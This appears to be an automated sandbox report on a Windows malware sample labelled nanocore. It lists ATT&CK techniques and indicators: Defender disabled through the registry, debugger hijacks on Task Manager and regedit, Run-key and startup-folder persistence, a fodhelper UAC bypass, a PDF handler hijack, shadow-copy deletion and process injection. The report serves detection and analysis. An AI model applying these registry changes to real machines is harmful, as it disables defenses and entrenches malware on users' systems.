nanocore | be4a76c80989924e4c24e9fae8674cdbc9f921677e52b52a08d86e48f257e9e1

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	parioli.nl_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4540	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	parioli.nl_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	parioli.nl_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	parioli.nl_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\parioli.nl_chrome.exe"	parioli.nl_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	parioli.nl_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\parioli.nl_chrome.exe"	parioli.nl_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	parioli.nl_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\parioli.nl_chrome.exe"	parioli.nl_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
1144	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	parioli.nl_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	parioli.nl_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	parioli.nl_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\parioli.nl_chrome.exe"	parioli.nl_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\parioli.nl_chrome.exe"	parioli.nl_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\parioli.nl_chrome.exe"	parioli.nl_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3844	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	parioli.nl_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	parioli.nl_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	parioli.nl_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
360	wscript.exe
4564	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	parioli.nl_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	parioli.nl_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5712	sc.exe
3152	sc.exe
5096	sc.exe
1096	sc.exe
3476	sc.exe
3084	sc.exe
4448	sc.exe
1144	sc.exe
4100	sc.exe
5712	sc.exe
4496	sc.exe
5864	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3320	cmd.exe
884	cmd.exe
4672	cmd.exe
2500	cmd.exe
2296	cmd.exe
1240	cmd.exe
5936	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
732	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
1372	ipconfig.exe
5596	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
5476	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4788	vssadmin.exe
5328	vssadmin.exe
4812	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\WallpaperStyle = "2"	parioli.nl_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134312652554512313"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	parioli.nl_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	parioli.nl_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\parioli.nl_chrome.exe"	parioli.nl_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	parioli.nl_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	parioli.nl_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	parioli.nl_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	parioli.nl_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\parioli.nl_chrome.exe\" \"%1\""	parioli.nl_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	parioli.nl_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute	parioli.nl_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	parioli.nl_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	parioli.nl_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	parioli.nl_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	parioli.nl_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	parioli.nl_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	parioli.nl_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1408	schtasks.exe
2164	schtasks.exe
4124	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4264	chrome.exe
4264	chrome.exe
4540	powershell.exe
4540	powershell.exe
4540	powershell.exe
3756	WMIC.exe
3756	WMIC.exe
3756	WMIC.exe
3756	WMIC.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
3756	WMIC.exe
3756	WMIC.exe
3756	WMIC.exe
3756	WMIC.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2528	WMIC.exe
2528	WMIC.exe
2528	WMIC.exe
2528	WMIC.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe
2396	parioli.nl_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2396	parioli.nl_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4264	chrome.exe
Token: SeCreatePagefilePrivilege	4264	chrome.exe
Token: SeShutdownPrivilege	4264	chrome.exe
Token: SeCreatePagefilePrivilege	4264	chrome.exe
Token: SeDebugPrivilege	4540	powershell.exe
Token: SeShutdownPrivilege	4264	chrome.exe
Token: SeCreatePagefilePrivilege	4264	chrome.exe
Token: SeShutdownPrivilege	4264	chrome.exe
Token: SeCreatePagefilePrivilege	4264	chrome.exe
Token: SeShutdownPrivilege	4264	chrome.exe
Token: SeCreatePagefilePrivilege	4264	chrome.exe
Token: SeBackupPrivilege	4220	vssvc.exe
Token: SeRestorePrivilege	4220	vssvc.exe
Token: SeAuditPrivilege	4220	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3756	WMIC.exe
Token: SeSecurityPrivilege	3756	WMIC.exe
Token: SeTakeOwnershipPrivilege	3756	WMIC.exe
Token: SeLoadDriverPrivilege	3756	WMIC.exe
Token: SeSystemProfilePrivilege	3756	WMIC.exe
Token: SeSystemtimePrivilege	3756	WMIC.exe
Token: SeProfSingleProcessPrivilege	3756	WMIC.exe
Token: SeIncBasePriorityPrivilege	3756	WMIC.exe
Token: SeCreatePagefilePrivilege	3756	WMIC.exe
Token: SeBackupPrivilege	3756	WMIC.exe
Token: SeRestorePrivilege	3756	WMIC.exe
Token: SeShutdownPrivilege	3756	WMIC.exe
Token: SeDebugPrivilege	3756	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3756	WMIC.exe
Token: SeRemoteShutdownPrivilege	3756	WMIC.exe
Token: SeUndockPrivilege	3756	WMIC.exe
Token: SeManageVolumePrivilege	3756	WMIC.exe
Token: 33	3756	WMIC.exe
Token: 34	3756	WMIC.exe
Token: 35	3756	WMIC.exe
Token: 36	3756	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3756	WMIC.exe
Token: SeSecurityPrivilege	3756	WMIC.exe
Token: SeTakeOwnershipPrivilege	3756	WMIC.exe
Token: SeLoadDriverPrivilege	3756	WMIC.exe
Token: SeSystemProfilePrivilege	3756	WMIC.exe
Token: SeSystemtimePrivilege	3756	WMIC.exe
Token: SeProfSingleProcessPrivilege	3756	WMIC.exe
Token: SeIncBasePriorityPrivilege	3756	WMIC.exe
Token: SeCreatePagefilePrivilege	3756	WMIC.exe
Token: SeBackupPrivilege	3756	WMIC.exe
Token: SeRestorePrivilege	3756	WMIC.exe
Token: SeShutdownPrivilege	3756	WMIC.exe
Token: SeDebugPrivilege	3756	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3756	WMIC.exe
Token: SeRemoteShutdownPrivilege	3756	WMIC.exe
Token: SeUndockPrivilege	3756	WMIC.exe
Token: SeManageVolumePrivilege	3756	WMIC.exe
Token: 33	3756	WMIC.exe
Token: 34	3756	WMIC.exe
Token: 35	3756	WMIC.exe
Token: 36	3756	WMIC.exe
Token: SeShutdownPrivilege	4264	chrome.exe
Token: SeCreatePagefilePrivilege	4264	chrome.exe
Token: SeShutdownPrivilege	4264	chrome.exe
Token: SeCreatePagefilePrivilege	4264	chrome.exe
Token: SeShutdownPrivilege	4264	chrome.exe
Token: SeCreatePagefilePrivilege	4264	chrome.exe
Token: SeShutdownPrivilege	4264	chrome.exe
Token: SeCreatePagefilePrivilege	4264	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe
4264	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2396	parioli.nl_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2396 wrote to memory of 4264	2396	parioli.nl_chrome.exe	88
PID 4264 wrote to memory of 4152	4264	chrome.exe	89
PID 2396 wrote to memory of 4540	2396	parioli.nl_chrome.exe	91
PID 2396 wrote to memory of 3152	2396	parioli.nl_chrome.exe	93
PID 4264 wrote to memory of 4232	4264	chrome.exe	94
PID 4264 wrote to memory of 4232	4264	chrome.exe	94
PID 4264 wrote to memory of 732	4264	chrome.exe	96
PID 4264 wrote to memory of 5164	4264	chrome.exe	97
PID 4264 wrote to memory of 5164	4264	chrome.exe	97
PID 2396 wrote to memory of 5096	2396	parioli.nl_chrome.exe	168
PID 4264 wrote to memory of 2544	4264	chrome.exe	101
PID 4264 wrote to memory of 4804	4264	chrome.exe	102
PID 4264 wrote to memory of 2544	4264	chrome.exe	101
PID 4264 wrote to memory of 4804	4264	chrome.exe	102
PID 2396 wrote to memory of 1096	2396	parioli.nl_chrome.exe	103
PID 2396 wrote to memory of 5712	2396	parioli.nl_chrome.exe	171
PID 2396 wrote to memory of 3476	2396	parioli.nl_chrome.exe	107
PID 2396 wrote to memory of 3084	2396	parioli.nl_chrome.exe	109
PID 2396 wrote to memory of 4448	2396	parioli.nl_chrome.exe	111
PID 2396 wrote to memory of 1144	2396	parioli.nl_chrome.exe	169
PID 2396 wrote to memory of 4528	2396	parioli.nl_chrome.exe	115
PID 2396 wrote to memory of 4496	2396	parioli.nl_chrome.exe	189
PID 2396 wrote to memory of 5864	2396	parioli.nl_chrome.exe	118
PID 4528 wrote to memory of 884	4528	fodhelper.exe	144
PID 2396 wrote to memory of 4788	2396	parioli.nl_chrome.exe	121
PID 2396 wrote to memory of 3756	2396	parioli.nl_chrome.exe	165
PID 4264 wrote to memory of 5928	4264	chrome.exe	127
PID 4264 wrote to memory of 5928	4264	chrome.exe	127
PID 2396 wrote to memory of 360	2396	parioli.nl_chrome.exe	131
PID 2396 wrote to memory of 1408	2396	parioli.nl_chrome.exe	132
PID 2396 wrote to memory of 2164	2396	parioli.nl_chrome.exe	134
